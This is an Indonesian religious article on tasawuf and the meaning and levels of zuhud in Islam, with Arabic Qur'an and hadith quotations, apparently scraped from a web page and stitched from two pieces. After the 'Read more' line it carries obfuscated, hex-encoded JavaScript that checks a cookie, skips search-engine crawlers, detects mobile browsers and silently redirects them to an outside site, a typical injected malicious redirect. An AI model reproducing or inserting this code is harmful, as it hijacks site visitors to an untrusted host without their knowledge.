وَابْتَغِفِيْمَاءَاتَكَاللهُالدَّارَاْلأَخِرَةَوَلاَتَنْسَنَصِيْبَكَمِنَالدُّنْيَاوَأَحْسِنْكَمَاأَحْسَنَاللهُإِلَيْكَوَلاَتَبْغِالْفَسَادَفِىاْلأَرْضِإِنَّاللهَلاَيُحِبُّالْمُفْسِدِيْنَ

Dan carilah pada apa yang telah dianugerahkan Allah kepadamu (kebahagiaan) negeri akhirat, dan janganlah kamu melupakan bahagianmu dari (kenikmatan) duniawi dan berbuat baiklah (kepada orang lain) sebagaimana Allah telah berbuat baik, kepadamu, dan janganlah kamu berbuat kerusakan di (muka) bumi. Sesungguhnya Allah tidak menyukai orang-orang yang berbuat kerusakan.

Selain itu juga dijelaskan dalam hadits:

إِعْمَلْلِدُنْياَكَكَأَنَّكَتَعِيْشُأَبَدًا     وَاعْمَلْلِأَخِرَتِكَكَأَنَّكَتَمُوْتُغَدًا

“I’mal lidunyaaka kaannaka ta’isyu Abadan, Wa’mal liaakhiratika kaannka tamutu ghadan”.

Artinya:

“Bekerjalah untuk duniamu seakan-akan engkau hidup selamanya, dan beramallah untuk persediaan akhiratmu, seakan-akan engkau mati besok”.

Dalam tasawuf, seorang hamba yang lagi menjalankn perintah harus selalu merasa bahwa dirinya sedang benar-benar berdiskusi kepada Allah, kalau tidak boleh menghadirkan hati maka seyogyanya dalam hatinya sadar bahwa segala apapun aktivitasnya sedang dalam pantauan yang MahaKuasa, sebagaimana dalam hadist yang diriwayatkan Sayyidina Umar, beliau mendengar rasulullah SAW bersabda:

أَنْتَعْبُدَاللهَكَأَنَّكَتَرَاهُ     وَإِنْلَّمْتَكُنْتَرَاهُفَإِنَّهُيَرَاكَ

“An ta’budallah kaannaka tarahu, waillam takun tarahu fainnahu yaraka”

Artinya:

“Ketika menyembah kepada-Nya seakan-akan kita melihat-Nya, kalau tidak mampu untuk yang demikian(melihat-Nya), maka sesungguhnya Dia(Allah)selalu melihatmu”.

Hadist ini bukan saja berlaku di saat kita melakukan ibadah(shalat)saja, akan tetapi dalam semua aktifitas kita di luar shalat pun, seseorang yang zuhud merasa dirinya selalu dalam pengawasan Allah SWT.

Dengan demikian ilmu tasawuf sebagai satu wasilah(jembatan penghubung) yang mampu memberikan effect positif kepada pengamalnya berdasarkan haluan yang telah digariskan dalam syariah Islam, seperti ungkapan Imam Asy-Sya’rani bahwa tasawuf merupakan ilmu yang dapat muncul dari hati yang bersih, dan tiada tergores sedikitpun di dalamnya. Satu hal yang paling penting dalam mempelajari ilmu ini, seperti yang telah di uraikan oleh Imam Malik, bahwa seseorang yang belajar ilmu fiqih(syariat) tanpa mempelajari tasawuf (hakikat), maka ia fasiq. Demikian juga sebaliknya seseorang yang ber-tasawuf(hakikat),tanpa mendalami ilmu fiqih (syariat), maka ia kafir zindiq, artinya kita harus amalkan kedua-duanya antara syariat dan hakik

 

 

 

 

(Pengertian Zuhud Dalam Islam) – Arti kata zuhud adalah tidak ingin kepada sesuatu dengan meninggalkannya. Menurut istilah zuhud adalah berpaling dan meninggalkan sesuatu yang disayangi yang bersifat material atau kemewahan duniawi dengan mengharap dan menginginkan sesuatu wujud yang lebih baik dan bersifat spiritual atau kebahagiaan akherat.

Ada 3 tingkatan zuhud yaitu:

Diwarta – Lintas post

1.     Tingkat Mubtadi’ (tingkat pemula) yaitu orang yang tidak memiliki sesuatu dan hatinya pun tidak ingin memilikinya.

2.     Tingkat Mutahaqqiq yaitu orang yang bersikap tidak mau mengambil keuntungan pribadi dari harta benda duniawi karena ia tahu dunia ini tidak mendatangkan keuntungan baginya.

3.     Tingkat Alim Muyaqqin yaitu orang yang tidak lagi memandang dunia ini mempunyai nilai, karena dunia hanya melalaikan orang dari mengingat Allah. (menurut Abu Nasr As Sarraj At Tusi)

Menurut AI Gazali membagi zuhud juga dalam tiga tingkatan yaitu:

1.     Meninggalkan sesuatu karena menginginkan sesuatu yang lebih baik dari padanya

2.     Meninggalkan keduniaan karena mengharap sesuatu yang bersifat keakheratan

3.     Meninggalkan segala sesuatu selain Allah karena terlalu mencintai-Nya

Dalam keterangan di atas dapat disimpulkan pandangan bahwa harta benda adalah se’suatu yang harus dihindari karena dianggap dapat memalingkan hati, dari mengingat tujuan perjalanan sufi yaitu Allah. Namun ada yang berpendapat bahwa zuhud bukan berarti semata-mata tidak mau memiliki harta benda dan tidak suka mengenyam nikmat duniawi, tetapi sebenarnya adalah kondisi mental yang tidak mau terpengaruh oleh harta dan kesenangan duniawi dalam mengabdikan diri kepada Allah

Read more: Pengertian Zuhud Dalam Islam var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}